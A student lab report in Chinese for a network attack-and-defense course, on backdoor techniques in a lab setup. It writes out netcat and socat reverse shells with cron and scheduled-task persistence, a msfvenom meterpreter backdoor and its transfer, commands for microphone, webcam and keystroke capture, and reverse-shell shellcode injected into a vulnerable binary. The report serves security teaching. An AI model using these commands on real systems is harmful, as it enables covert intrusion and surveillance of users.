2019-2020-2 20175233 《网络对抗技术》 Exp2 后门原理与实践
2019-2020-2 20175233 《网络对抗技术》 Exp2 后门原理与实践
1.实验内容
-
使用netcat获取主机操作Shell,cron启动 (0.5分)
-
使用socat获取主机操作Shell, 任务计划启动 (0.5分)
-
使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
-
使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
NC/netcat
- 是一种功能强大的联网实用程序,可使用TCP / IP协议跨网络连接读取和写入数据
工具实践
Windows获得Linux Shell
-
查询Windows IP地址
-
进入
ncat.exe所在文件夹,并执行ncat.exe -l -5233 -
在kail中使用
nc命令-e选项执行shell,反向连接至主机对应端口ncat 192.168.0.107 5233 -e /bin/sh
Linux获得Windows Shell
- Windows和Linux相互ping通
- Linux运行监听指令:
nc -l -p 5233 - Windows反弹连接Linux:
ncat.exe -e cmd.exe ip_of_linux 5233 - Linux下可以看到Windows的命令提示,可以输入Windows命令
传输数据
- Windows下监听:
ncat.exe -l 5233
2.Linux下连接到Windows的5233端口:ncat 192.168.0.107 5233
Meterpreter
- Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。
2.实验步骤
任务一:使用netcat获取主机操作Shell,cron启动
- Windows系统中监听端口:
ncat.exe -l -p 5233 - Linux环境下,用
crontab -e指令编辑一条定时任务
crontab指令增加一条定时任务-e表示编辑- 选择编辑器时选择
3
- 在最后一行添加
41 * * * * /bin/netcat 192.168.0.107 5233 -e /bin/sh(每个小时的第41分钟反向连接Windows主机的5233端口)
- 当时间到了41分,此时已经获得了Linux的shell
任务二:使用socat获取主机操作Shell, 任务计划启动
socat
socat是ncat的增强版又称Netcat++,超级netcat工具,是nc的加强版,任何代理、转发等功能都可以用该工具实现,使用方法与nc类似,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options是可选项。
Win+R输入compmgmt.msc打开计算机管理- 在
任务计划程序中创建任务,填写任务名称,并新建一个触发器
![55.png]()
- 在
操作->新建->程序或脚本:选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5233 exec:cmd.exe,pty,stderr。
- 创建完成之后,锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行
注:重新解锁后,Windows会弹出socat.exe,别关。
- 此时,在Linux环境下输入指令
socat - tcp:192.168.0.107:5233
- 连接到Windows主机的
5233端口
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
生成后门程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.149 LPORT=5233 -f exe > 20175233_backdoor.exe(LHOST为控制端IP)
-
通过
ncat.exe -lv 5233 > 20175233_backdoor.exe指令将被控制主机(windows)进入接受文件模式
-
在Linux中执行
nc 192.168.0.107 5233 < 20175233_backdoor.exe,这里的IP为WindowsIP -
传送接收文件成功
-
Linux上输入
msfconsole指令进入msf控制台
-
输入
use exploit/multi/handler使用监听模块,设置payload -
set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload -
set LHOST 192.168.0.149,LinuxIP -
set LPORT 5233 -
show options再次查看设置是否正确
-
exploit开始监听,运行Windows下的后门程序
任务四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容
record_mic指令可以截获一段音频webcam_snap指令可以使用摄像头进行拍照keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录screenshot指令可以进行截屏
![gTelwDKi.jpeg]()
任务五:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
- 主要步骤同实验一,唯一要注意的的就是 PWN 可执行文件的 %esp 出现变化。
关闭地址随机化:
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查看地址随机化的状态
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
- 生成
input_2文件,具体代码如下:
perl -e 'print "A" x 32;print"\x30\xd3\xff\xff\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_2 - 在另一个终端总打开
msfconsole,打开监听
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444 //这两个都是根据shellcode的指定内容来选择的。
show options
exploit
- 输入命令(cat input_2;cat) | ./pwn1,shell开始运行。
问题
- 例举你能想到的一个后门进入到你系统中的可能方式?
- 上网时经常会碰到一些奇怪的弹窗,不小心点一下可能会下载某些应用程序,这些程序有可能会绑定可执行文件
- 例举你知道的后门如何启动起来(win及linux)的方式?
- Windows 修改注册表 linux 注入shellcode
- Meterpreter有哪些给你映像深刻的功能?
- 从后门控制被控主机的shell,来获取你的个人信息
- 如何发现自己有系统有没有被安装后门?
- 下载杀毒软件、检查进程、注册表
问题
- 设置完触发器重启后,由于关弹窗的习惯导致之后一直连接不上。
- 用kali向windows中传输后门时,后面程序存活时间短,还没截图就消失了,原因是win10自带实时保护没关
`



浙公网安备 33010602011771号